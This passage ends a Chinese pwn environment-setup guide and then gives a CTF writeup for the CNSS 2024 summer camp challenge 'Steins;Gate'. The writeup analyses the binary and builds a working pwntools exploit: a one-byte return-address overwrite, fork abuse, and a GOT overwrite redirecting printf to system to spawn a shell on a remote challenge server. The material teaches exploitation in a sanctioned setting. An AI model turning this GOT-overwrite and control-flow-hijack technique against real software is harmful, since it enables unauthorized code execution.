   安装其他插件时,也要配置这个文件,比如 source /home/pwn/gef/gef.py

   如果.gdbinit中路径错误,那么gdb命令将打开原生gdb,好像不会有错误提示

 seccomp-tools
1
2
$ apt install gcc ruby-dev
$ gem install seccomp-tools
 one_gadget
1
$ gem install one_gadget

Step4 Qume

1
2
3
$ apt-get install libc6-dev
$ apt install qemu-kvm
# 时间比较长,可以考虑换源

   busybox和kernel就先不考虑了,编译花费的时间过长

1
2
pip3 install --upgrade lz4 git+https://github.com/marin-m/vmlinux-to-elf
# 用来抽取vmlinux的妙妙工具
最后, 如果有条件的话, 如果性能方面没有特别多的要求, 应当弄一个linux实机, 或者凑合用VMware提供的虚拟机, 而避免使用wsl.
很多奇奇怪怪的问题都是wsl本身造成的, 包括但不限于部分软件性能甚至不如虚拟机, Docker体验极差(指往C盘塞10个G的东西而且难以迁移), 磁盘占用膨胀极快(指存20G的log自己不删, 以及往C盘塞几个G的交换区还不知道回收), 以及文件组织上和实机和虚拟机不同, 找资料非常痛苦

CNSS2024夏令营'命运石之门'writeup

Step0 题目信息

        pwn1.png
 初始分数为1000分


     pwn2.png
 如你所见,没有任何hint,从描述上也看不出所以然

Step1 文件检查

 获取附件:

   attachment:elf可执行文件

   libc:libc.so.6

   ld:无

 检查attachment文件:

   info1.png
   64位小端序可执行文件,动态链接,符号表保留

   got表可写,没有栈溢出保护,堆栈不可执行,无pie;后续静态分析未发现沙箱保护

 配置本地调试环境:

   略,因为缺少链接器ld,而且远程版本未知

Step1.5 补充一点前置知识

      个人理解,可以先跳过这一部分内容

 fork()函数:

   用于在程序执行中生成另一个进程(子进程)
   从fork()函数产生的效果来看,fork()最大的特点在于不需要指定子进程如何运行,子进程的内存布局和内容与父进程完全一致,无论数据还是指令,并且子进程的执行流会jmp到fork()之后。
   在父进程中,fork()将返回子进程的pid;在子进程中,则会返回0
   有关fork()的具体逻辑可以参考Linux系统——fork()函数详解(看这一篇就够了!!!),可以重点关注一下写时拷贝技术的内容。
   子进程和父进程既然有一样的内存,也就保存了一些共同的关键信息,如canary、aslr和pie的偏移等。此时就可以尝试破解出这些信息,即使这些操作会造成子进程异常退出,也不会影响父进程,反之亦然,只需要有一个进程getshell任务就算完成了。

 wait()函数:

   当程序步入wait()函数后,会暂停执行,等到有特定信号或者子进程退出时,才会继续执行剩余的指令
   特别了解一下wait(0)的使用,它会使父进程等待子进程的退出,而且不论是正常退出还是异常退出

Step2 使用 “那个女人 Pro 8.3” 静态分析

 概况

            ida1.png
               got表里又出现了最爱的system

 main函数

ida_main.png
   3~5: 关闭缓冲

   6: timeline(bss: 0x4040B0) = 0

   7: 调用fork(),并且将进程号存放在pid(bss: 0x4040C0)中

   8~19: 按照fork()的返回值来判断,子进程将执行timeMachine(),父进程将在20行等待子进程退出。

   22: printf(Dest),其中Dest(bss: 0x4040B8),很明显的格式化字符串漏洞(真的吗?)

 timeMachine()

ida_timeMachine.png
   5~6: 当timeline(bss: 0x40040B0)为0时进入setDest()

   7~8: 注意read()的第二个参数,先将Dest转换为_QWORD*(unsigned long long*)类型,然后取值并加上timeline,结果作为指针;从标准输入读入一字节,写入这个指针指向的位置

   9: ++timeline自增

   11: 向buf中读入0x19, 发现0x19 = 0x10 + 0x8 + 0x1,可以覆盖栈帧的ret_addr的最低一位

   ps:当timeMachine()正常返回时,回到main(): 12,循环打印”I FAILED”

 setDest()

      ida_setDest.png
   3~4: 向Dest(bss: 0x4040B8)中写入,根据打印字符串的提示和上面分析可知,这里我们应该输入某个位置,这个位置中的值将在timeMachine()中被修改。

 baddoor()

      ida_baddoor.png
   啥也不是,仅仅是提供了system(),”/bin/su”位于.rodata段没法修改

Step3 漏洞分析

 存在以下可以利用漏洞:

   timeMachine()::11处栈溢出,并且由于-no-pie,代码段固定,可以控制ret_addr的最低一位,劫持控制流。从ida中可知ret_addr可劫持为0x4012XX, 这个范围包含setDest()全部和main()::17(不包括)之前的内容,可以借助main()中的内容启动main()::6的fork()以及main()::11的timeMachine()

   setDest()::4以及timeMachine()::8实现了任意地址写,借助全局变量timeline的自增和劫持控制流可以实现从目标位置开始一个一个字节的修改

   main()::22,看起来像是一个格式化字符串的漏洞

 利用方案:

   首先论证一下main()::22的printf(Dest)到底是不是格式化字符串漏洞

   注意到控制流可以劫持到main()::15处,而这个判断在程序正常时几乎不会为真,所以会跳出然后到达main()::22处;或者劫持到main()::6处开子进程,此时也会到达main()::22处。简而言之,任何一个进程都可以利用这里的漏洞。

   如果利用printf(Dest),要么为了泄露libc,要么为了任意地址写。本题got表中有system(),如果只是为了’/bin/sh’就泄露libc显得小题大做,而且栈溢出长度也不够ROP;

   然后是任意地址写,先暂时不提已经有更简单的任意地址写的方法,当printf完成任意地址写之后,子进程退出,父进程丝毫没有收到影响,所以任意地址写是做不到的。v
   综上printf(Dest)作为格式化字符串用处不大v
    
   由于已有system(),可以考虑去调用system()来getshell,但是首先找不到’sh’(fflush也没有),其次缺乏传参手段。

   此时main()::22发挥了用处,我们完全可以向Dest写入’/bin/sh\x00’,然后修改printf()的got表为system(),此时main()::22就相当于system(“/bin/sh\0”)
   检查got表got.png

   由于延迟绑定技术,函数的got分别指向了自己的plt,注意到两者plt只有一个字节的区别,所以timeMachine()中修改一次即可。

   此时timeline = 1,无法调用setDest(),所以劫持到main()::6,顺便进入一个新的进程,新的进程复制了父进程的内存,包括篡改的内容

1
2
3
4
5
6
## step 1
io.sendafter(b'Input the Destination:\n', p64(printf_got)) # Dest -> printf_got

io.sendafter(b'Input the impact:', p8(0x40)) # printf_got -> system_plt
payload = b'a'*0x18 + p8(0xab) # rip -> time = 0 ; call fork()
io.send(payload)

   向Dest处写上”/bin/sh\0”

   此时还有一个问题,”/bin/sh\0”不一定是一个可写的地址,为了验证read()的反应,这里写一个demo

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <unistd.h>

int main()
{
char *dead = "/bin/sh\0";
read(0, (void *)*dead, 1);
puts("I'm alive !");
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Desktop]
└─$ gcc test.c -o test
test.c: In function ‘main’:
test.c:7:17: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
7 | read(0, (void *)*dead, 1);
| ^

┌──(kali㉿kali)-[~/Desktop]
└─$ ./test
s
I'm alive !

   虽然gcc报了warning,但不影响编译,而且read()表示我没意见,于是没有抛出错误

   这里还有一个小细节值得注意,demo中输入了’s’,但这只是为了方便展示,实际上read()并没有读入’s’,read()只是在等回车结束stdin(可能说法不太准确),也就是我开stdin != 我读入字符,这一处卡了本人快2个小时。

   布置好system(“/bin/sh\0”)之后,我们再fork()一次

1
2
3
4
5
## step2
io.sendafter(b'Input the Destination:\n', b'/bin/sh\0') # Dest -> "/bin/sh\0"
payload = b'a'*0x18 + p8(0xb5) # call fork()
##io.sendafter(b'Input the impact:', b's') # 不需要发送字符,否则会占用payload的读入长度
io.send(payload)

   此时上一个线程卡在main()::20,wait(0LL),我们想办法让新开的子线程结束,就可以getshell

1
2
3
## step3
payload = b'a'*0x18 + p8(0x48) # 0x401248 ret, ret到了一个非法地址,子程序退出
io.send(payload)

Step4 完整exp

   ps: libc.so.6全程旁观

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

def debug(cmd=''):
gdb.attach(io, cmd)
pause()

context.log_level = "debug"
##io = process("./pwn")
io = remote("152.136.11.155", 10027)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

# datas
printf_got = elf.got["printf"] # 0x404028
##system_got = elf.got["system"]
system_plt = elf.plt["system"]
timeline_pid = 0x4012AB

# Dest = 0x4040B8
io.sendafter(b'Input the Destination:\n', p64(printf_got)) # Dest -> printf_got

io.sendafter(b'Input the impact:', p8(0x40)) # printf_got -> system_plt
payload = b'a'*0x18 + p8(0xab) # rip -> time = 0 ; call fork()
io.send(payload)


io.sendafter(b'Input the Destination:\n', b'/bin/sh\0')
payload = b'a'*0x18 + p8(0xb5) # call fork()
##io.sendafter(b'Input the impact:', b's') # s
io.send(payload)

payload = b'a'*0x18 + p8(0x48) # 0x401248 ret
io.send(payload)

io.interactive()